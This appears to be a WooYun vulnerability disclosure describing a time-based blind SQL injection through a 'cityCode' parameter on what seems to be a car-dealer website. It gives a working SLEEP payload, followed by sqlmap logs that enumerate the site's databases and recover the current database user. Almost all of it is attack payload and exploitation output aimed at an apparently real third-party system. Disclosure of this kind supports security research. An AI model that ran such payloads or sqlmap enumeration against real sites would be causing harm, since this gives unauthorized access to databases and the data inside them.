WooYun.org

注入参数#cityCode

Payload:cityCode=510100;(SELECT * FROM (SELECT(SLEEP(5)))bspd)

[04:49:00] [INFO] testing MySQL
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option
'--time-sec')? [Y/n]
[04:49:09] [INFO] confirming MySQL
[04:49:09] [WARNING] it is very important not to stress the network adapter duri
ng usage of time-based payloads to prevent potential errors
[04:49:19] [INFO] adjusting time delay to 1 second due to good response times
[04:49:19] [INFO] the back-end DBMS is MySQL
web application technology: Nginx
back-end DBMS: MySQL >= 5.0.0
[04:49:19] [INFO] fetching database names
[04:49:19] [INFO] fetching number of databases
[04:49:19] [INFO] retrieved: 4
[04:49:21] [INFO] retrieved: information_schema
[04:53:33] [INFO] retrieved: autodealer
[04:58:06] [INFO] retrieved: dealer
[05:00:19] [INFO] retrieved: tesy
available databases [4]:
[*] autodealer
[*] dealer
[*] information_schema
[*] tesy

[05:05:51] [INFO] testing MySQL
[05:05:51] [INFO] confirming MySQL
[05:05:51] [INFO] the back-end DBMS is MySQL
web application technology: Nginx
back-end DBMS: MySQL >= 5.0.0
[05:05:51] [INFO] fetching current user
[05:05:51] [WARNING] time-based comparison requires larger statistical model, pl
ease wait..............................
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option
'--time-sec')? [Y/n]
[05:05:59] [WARNING] it is very important not to stress the network adapter duri
ng usage of time-based payloads to prevent potential errors
a
[05:06:11] [INFO] adjusting time delay to 1 second due to good response times
utodeal
[05:08:48] [ERROR] invalid character detected. retrying..
[05:08:48] [WARNING] increasing time delay to 2 seconds
[05:08:57] [ERROR] invalid character detected. retrying..
[05:08:57] [WARNING] increasing time delay to 3 seconds
er@%
current user:    'autodealer@%'